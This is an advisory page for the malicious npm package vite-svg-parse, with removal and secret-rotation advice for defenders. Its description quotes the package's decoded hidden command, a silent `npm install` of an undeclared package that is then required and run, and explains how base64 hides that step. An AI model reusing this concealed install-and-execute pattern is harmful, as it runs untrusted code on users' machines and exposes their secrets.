vite-svg-parse (npm) · Malicious Code
Affects vite-svg-parseSource GCVE Database
Malicious package : remove vite-svg-parse and rotate any secrets on hosts that installed it.
Data as of 12 Aug 2026, 16:10 UTC
Malicious package
Published to npm · OSV MAL-2026-13464
What to do
Remove vite-svg-parse from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npmvite-svg-parse | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5f6b581f4ab8d027c727649fae10749a9ac9a59af4619f5576362ab9243cb6c6) The package's exported API (getPlugin/setPlugin) decodes two base64 string literals at runtime: the first decodes to `npm install node-internal-svg-loader --no-save --silent --no-audit --no-fund`, which is passed to child_process.spawn; the second decodes to the module name `node-internal-svg-loader`, which is then require()'d and whose getPlugin()/setPlugin() are invoked. The fetched package is not declared in package.json dependencies, and both the shell command and the require target are concealed in base64 to evade static inspection. Any consumer that imports this library and calls its documented API causes an undeclared, hidden third-party npm package to be installed and its code executed in the installer's Node.js process. ## Source: ghsa-malware (8da5f5874a95540b2a9ef4a13235eda70e4c5d853fcefeb886e2d0452eb98aa9) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.